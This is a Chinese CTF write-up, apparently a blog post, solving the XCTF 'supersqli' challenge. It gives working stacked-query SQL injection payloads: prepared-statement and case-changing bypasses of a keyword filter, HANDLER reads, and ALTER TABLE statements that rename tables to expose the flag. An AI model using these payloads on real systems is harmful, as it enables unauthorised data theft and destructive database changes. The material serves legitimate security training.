XCTF攻防世界_Web进阶区003

XCTF_Web_高手进阶区

supersqli

这里使用谷歌浏览器
拿到题目后,发现是单引号报错字符型注入
在这里插入图片描述
用order by语句判断出两个字段:order by 2的时候页面正常回显,order by 3的时候页面出错。
使用union select联合查询,发现关键字select被正则过滤了
在这里插入图片描述
因此,需要绕过select的过滤
解法一:
(1)堆叠注入/?inject=-1’;show tables --+
在这里插入图片描述
(2)发现了两张表,分别查询两张表中的字段,
/?inject=-1’;show columns from 1919810931114514 --+
在这里插入图片描述
/?inject=-1’;show columns from words --+
在这里插入图片描述
(3)发现了flag在第一个表中,接下来就是要查看flag的内容了。但是select被过滤了,这里可以采用预编译的方式绕过。

?inject=-1';set @sql = CONCAT('sele','ct * from \`1919810931114514\`;');prepare aaa from @sql;EXECUTE aaa;#

在这里插入图片描述
(4)这里用strstr函数过滤了’set’和’prepare’关键词,利用strstr不能区分大小写,将其改为大写即可

/?inject=-1';sEt @sql = CONCAT('sele','ct * from \`1919810931114514\`;');prepArE aaa from @sql;EXECUTE aaa;#

或者

/?inject=-1';sEt @sql = CONCAT('se','lect * from \`1919810931114514\`;');prEpare stmt from @sql;EXECUTE stmt;#

或者

/?inject=-1';use supersqli;set @sql=concat('s','elect * from \`1919810931114514\`');PREPARE pre FROM @sql;EXECUTE pre;--+

在这里插入图片描述
解法二:
handler查询
在查找到有两张表的前提下进行
(1)使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行

/?inject=-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述
解法三:
(1)修改表名和列名,在查找到两个表后,看一下第二个表
在这里插入图片描述
(2)其中有一个列就是data列,是可以进行查询的。所以这里将表1919810931114514名字改为words,flag列名字改为id,就可以查询flag的内容了。

1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

其中:
alter table words rename to aaaa;先把原来的words表名字改成别的,这个随便
alter table`1919810931114514` rename to words;将表1919810931114514的名字改为words
alter table words change flag id varchar(100);将改完名字后的表中的flag改为id,字符串尽量长点
(3)然后用1’ or 1=1 --+直接就能得到正确结果
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值